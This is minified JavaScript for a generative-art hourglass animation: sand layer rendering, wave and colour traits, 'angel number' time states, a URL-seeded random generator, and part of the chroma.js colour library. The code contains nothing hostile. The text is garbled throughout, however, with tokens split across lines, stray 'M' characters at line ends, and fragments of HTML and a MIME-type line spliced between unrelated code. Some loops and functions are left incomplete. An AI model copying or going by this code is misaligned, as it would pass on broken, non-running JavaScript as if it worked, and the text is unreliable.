t a=(PI/2-this.startAngle)/i,r=0,h=[];h.push({x:e,y:t});let n=this.startAngle+s;for(let s=0;s<i;s++){let i=this.radiuses[r];r+=1;let s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}r=this.poly,n=PI/2+a+s;for(let s=0;s<i;s++){r-=1;let i=this.radiuses[r],s=e+cos(n)*i,o=t+sin(n)*i;h.push({x:s,y:o}),n+=a}return h=h.filter((e=>!isNaN(e.x)&&!isNaN(e.y))),h}getSandRects=()=>this.sandRects;getTopLine=()=>this.topline;getBottomLine=()=>this.bottomline;getSecondTicked=()=>this.secondTicked}const WavePeriod={SHORT:"SHORT",MEM
DIUM:"MEDIUM",LONG:"LONG"},WaveHeight={SHORT:"SHORT",MEDIUM:"MEDIUM",TALL:"TALL"},WaveSpeed={SLOW:"SLOW",MEDIUM:"MEDIUM",FAST:"FAST"};class SandRenderer{static N_CURVE_POINT=50;static DROPDOWN_TIME=3;constructor(e,t,i,s,a,r,h,n){this.wCanvas=e.width,this.hCanvas=e.height,this.hInit=t,this.baseLine=this.transformCoord(i),this.baseH=s,this.baseS=a,this.baseL=r,this.curSecond=0,this.waveHeight=h.waveHeight,this.wavePeriod=h.wavePeriod,this.waveSpeed=h.waveSpeed,this.evolvePeriod=h.evolvePeriod,this.nSandLayer=6,this.lM
ayers=this.getLayers(),this._h=this.baseH,this._s=this.baseS,this._l=this.baseL,this.prevIteration=null,n.registerIterationChangeEvent(this.onIterationChange.bind(this));let o=n.getCurrentIteration();this.onIterationChange(o)}onIterationChange(e){null==this.prevIteration?this._h=this.getHue(this.baseH,0,e):this._h=this.getHue(this._h,this.prevIteration,e),this.prevIteration=e}getHue(e,t,i){let s=min(t,i),a=max(t,i);for(let r=s;r<a;r++){randomSeed(100*r+3);let s=random(1);if(this.evolvePeriod==EvolvePeriod.HOURLY?s=M
map(s,0,1,5,10):this.evolvePeriod==EvolvePeriod.DAILY?s=map(s,0,1,10,30):this.evolvePeriod==EvolvePeriod.MONTHLY&&(s=map(s,0,1,50,100)),i>t)for(e+=s;e>360;)e-=360;else for(e-=s;e<0;)e+=360}return e}update(e){this.time=e}getChroma(){return Color.getSandColorByIndex(0,this._h,this._s,this._l)}getBaseHSL(){return{h:this._h,s:this._s,l:this._l}}draw(e,t,i,s,a){this.nLayer=(this.time.getHours()+11)%12+1,t=this.transformCoord(t),e.background(0);let r=this.getChroma().luminance(.5).alpha(.25);e.background(color(...Color.cM
hromaToArray(r))),e.strokeWeight(1),this.layers.forEach((e=>{if(0==e.id)e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).luminance(.2).alpha(1);else{let t=map(e.id/this.nSandLayer,0,1,.5,.8);e.c=Color.getSandColorByIndex(e.id,this._h,this._s,this._l).alpha(t)}let s=map(i,0,1,e.baselineY,this.hInit),a=max(0,map(s,this.hInit,0,0,1)),r=Geometry.getPolyArea(t)*a;e.y=Geometry.getYByAreaBelow(t,r),e.y=map(e.y,0,this.hInit,.05*-this.hCanvas,this.hInit+.05*this.hCanvas)})),this.layers.forEach((i=>{s&&2*i.id<thisM
.nLayer&&this.drawDropdown(e,t,i,a)})),this.layers.forEach((t=>this.drawLayer(e,t)));let h=!1;this.time.getSeconds()!=this.curSecond&&(this.curSecond=this.time.getSeconds(),h=!0),GraphicUtils.applyMask(e,t)}transformCoord(e){let[t,i,s,a]=Geometry.getBoundingBox(e),r=t+s,h=i+a;return e.map((e=>{let n=map(e.x,t,r,-s/2,s/2)+this.wCanvas/2,o=map(e.y,i,h,0,a);return createVector(n,o)}))}getLayers(){let e=[];for(let t=0;t<this.nSandLayer;t++){let i,s=this.hInit/this.nSandLayer*t;this.waveSpeed==WaveSpeed.SLOW?i=random(.0M
08,.012):this.waveSpeed==WaveSpeed.MEDIUM?i=random(.016,.024):this.waveSpeed==WaveSpeed.FAST&&(i=random(.032,.048));let a,r,h=random(1e4);this.wavePeriod==WavePeriod.SHORT?a=random(2.7,3):this.wavePeriod==WavePeriod.MEDIUM?a=random(1.8,2):this.wavePeriod==WavePeriod.LONG&&(a=random(1.2,1.3)),this.waveHeight==WaveHeight.SHORT?r=this.hCanvas/30:this.waveHeight==WaveHeight.MEDIUM?r=this.hCanvas/24:this.waveHeight==WaveHeight.TALL&&(r=this.hCanvas/18);let n={mode:"DELTA_Y",deltaY:(e,t)=>map(sin(e*a*TAU+t*i+h),-1,1,-r,rM
)};e.push({id:t,baselineY:s,height:r,speed:i,seed:h,shape:n,stripe:{distance:random(.04*this.hInit,.08*this.hInit),height:random(.02*this.hInit,.04*this.hInit),stretch:random(1.2,1.5),colorTransform:e=>e.brighten(1.2)}})}return e}drawDropdown=(e,t,i,s)=>{let{c:a,shape:r}=i,h=Geometry.getBoundingBox(t)[3],n=this.time.getTime()/(1e3/60),o=createVector(this.wCanvas/2,0),l=createVector(this.wCanvas/2,h),d=[];for(let e=0;e<50;e++){let t=e/49,i=o.copy(),{x:s,y:a}=Vector.lerp(i,l,t);s+=r.deltaY(t,-n/5)*map(e,0,50,.1,1.5),M
d.push(createVector(s,a))}let m=map(s,0,SandRenderer.DROPDOWN_TIME,0,50);m=min(m,50),e.push(),e.noStroke(),e.fill(color(...Color.chromaToArray(a)));for(let t=0;t<m;t++)e.square(d[t].x,d[t].y,.004*this.hCanvas);e.pop()};drawLayer=(e,t)=>{if(2*t.id<this.nLayer){let i=this.getLayerPointline(t);this.drawWave(e,i,t),this.drawPattern(e,i,t,this.hCanvas/8,this.hCanvas/60),2*t.id+1<this.nLayer&&this.drawStripe(e,i,t)}};getLayerPointline=e=>{let{y:t,shape:i}=e,s=[],a=this.time.getTime()/(1e3/60);if("DELTA_Y"==i.mode){let e=M
createVector(0,t),r=createVector(this.wCanvas,t);for(let t=0;t<SandRenderer.N_CURVE_POINT;t++){let h=t/(SandRenderer.N_CURVE_POINT-1),n=e.copy(),{x:o,y:l}=Vector.lerp(n,r,h);l+=i.deltaY(h,a/5),s.push(createVector(o,l))}}else s=[start,end];return s};drawWave=(e,t,i)=>{let{c:s}=i;e.noStroke(),e.fill(color(...Color.chromaToArray(s))),e.beginShape(),e.vertex(0,this.hCanvas);for(let i=0;i<t.length;i++)e.vertex(t[i].x,t[i].y);e.vertex(this.wCanvas,this.hCanvas),e.endShape()};drawPattern=(e,t,i,s,a)=>{e.noStroke();for(letM
 i=a;i<=s;i+=a){let a=map((i-1)/(s-1),0,1,.2,0);e.fill(0,255*a),e.beginShape();for(let s=0;s<t.length;s++)e.vertex(t[s].x,t[s].y+i);for(let s=t.length-1;s>=0;s--)e.vertex(t[s].x,t[s].y+(i-1));e.endShape()}};drawStripe=(e,t,i)=>{let{c:s,stripe:{distance:a,height:r,stretch:h,colorTransform:n}}=i;e.noStroke();let o=n(s),l=color(...Color.chromaToArray(o)),d=s.alpha();l.setAlpha(255*d),e.fill(l),e.beginShape();for(let i=0;i<t.length;i++)e.vertex(t[i].x*h,t[i].y+a);for(let i=t.length-1;i>=0;i--)e.vertex(t[i].x*h,t[i].y+aM
+r);e.endShape()}}new Q5("global");let wCanvas,hCanvas,canvas,timeController,hourglass,layerBackground,layerSandTop,layerSandBottom,layerHourglass,renBackground,renSandTop,renSandBottom,renHourglass,renPostProcessing,traits,prevSpeed,showMode,currentTime,maxFps=60;setup=()=>{setupRandom(),setupTraits(),setupSketch()},setupRandom=()=>{let e=p5seed;randomSeed(e),noiseSeed(e)},setupTraits=()=>{let e=getRandomInt(1,10),t=getRandomItem([[HourglassSize.MEDIUM,70],[HourglassSize.LARGE,30]]),i=getRandomItem([[WaveHeight.SHM
ORT,1],[WaveHeight.MEDIUM,1],[WaveHeight.TALL,1]]),s=getRandomItem([[WavePeriod.SHORT,1],[WavePeriod.MEDIUM,1],[WavePeriod.LONG,1]]),a=getRandomItem([[WaveSpeed.SLOW,1],[WaveSpeed.MEDIUM,1],[WaveSpeed.FAST,1]]),r=getRandomItem([[EvolvePeriod.HOURLY,60],[EvolvePeriod.DAILY,35],[EvolvePeriod.MONTHLY,5]]),h=getRandomItem([[1,5],[2,20],[3,50],[4,20],[5,5]]),n=getPatternOrder(),o=getRandomItem(AngelNumber.map((e=>[e[0],1]))),l=getRandomItem(BlissLimit.map((e=>[e[0],e[2]])));traits={waveHeight:i,wavePeriod:s,waveSpeed:a,M
evolvePeriod:r,color:e,hourglassSize:t,poly:h,patternOrder:n,angelNumber:o,blissLimit:l},console.log(traits)},getPatternOrder=()=>{let e=[],t=[1,2,3,4],i=getRandomItem([[1,.6],[2,.1],[3,.15],[4,.15]]);e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);for(let s=0;s<3;s++)i=random(t),e.push(i),patternChosen=t.indexOf(i),x=t.splice(patternChosen,1);return e},setupSketch=()=>{frameRate(maxFps),frameCount=0,wCanvas=windowWidth,hCanvas=windowHeight,canvas=createCanvas(wCanvas,hCanvas),showMode=0,timeControM
ller=new TimeController(traits),hourglass=new Hourglass(traits,timeController);let e=getRandomInt(0,361),t=getRandomInt(30,101),i=getRandomInt(50,101);Color.setColorMode(traits.color),layerBackground=createGraphics(wCanvas,hCanvas),renBackground=new BackgroundRenderer(layerBackground,e,t,i,traits,timeController),layerHourglass=createGraphics(wCanvas,hCanvas),renHourglass=new HourglassRenderer(layerHourglass,traits,timeController);let s=renHourglass.getSandRects(wCanvas,hCanvas),a=renHourglass.getTopLine(),r=renHourM
glass.getBottomLine(),h=createVector(s[0][2],s[0][3]).mag();layerSandTop=createGraphics(h,h),layerSandBottom=createGraphics(h,h),renSandTop=new SandRenderer(layerSandTop,s[0][3],a,e,t,i,traits,timeController),renSandBottom=new SandRenderer(layerSandBottom,s[0][3],r,e,t,i,traits,timeController),imgSandTop=createGraphics(wCanvas,hCanvas),imgSandBottom=createGraphics(wCanvas,hCanvas),renPostProcessing=new PostProcessing(wCanvas,hCanvas,traits),GrainRenderer.setup(wCanvas,hCanvas),prevSpeed=1},draw=()=>{let e=0==showMoM
de||1==showMode,t=0==showMode||2==showMode,{time:i,state:s,speed:a,paused:r,isLive:h,realDelta:n}=timeController.step();hourglass.update(i),renSandTop.update(i),renSandBottom.update(i),renBackground.update(i);let o=4==s?1:0,{top:l,rotation:d,flipped:m,timeSinceRotation:p}=hourglass.getState();renHourglass.update(i,d);let g=renSandTop.getChroma(),c=renSandTop.getBaseHSL();if(background(255),renBackground.draw(layerBackground,i,s,c,e),image(layerBackground,0,0),t){let e=renHourglass.getSandRects();renHourglass.draw(lM
ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
^#?([A-Fa-f0-9]{6}|[A-Fa-f0-9]{3})$/,Fr=/^#?([A-Fa-f0-9]{8}|[A-Fa-f0-9]{4})$/,xr=function(r){if(r.match(Nr)){4!==r.length&&7!==r.length||(r=r.substr(1)),3===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]);var e=parseInt(r,16);return[e>>16,e>>8&255,255&e,1]}if(r.match(Fr)){5!==r.length&&9!==r.length||(r=r.substr(1)),4===r.length&&(r=(r=r.split(""))[0]+r[0]+r[1]+r[1]+r[2]+r[2]+r[3]+r[3]);var t=parseInt(r,16);return[t>>24&255,t>>16&255,t>>8&255,Math.round((255&t)/255*100)/100]}throw new Error("unknown hex coM
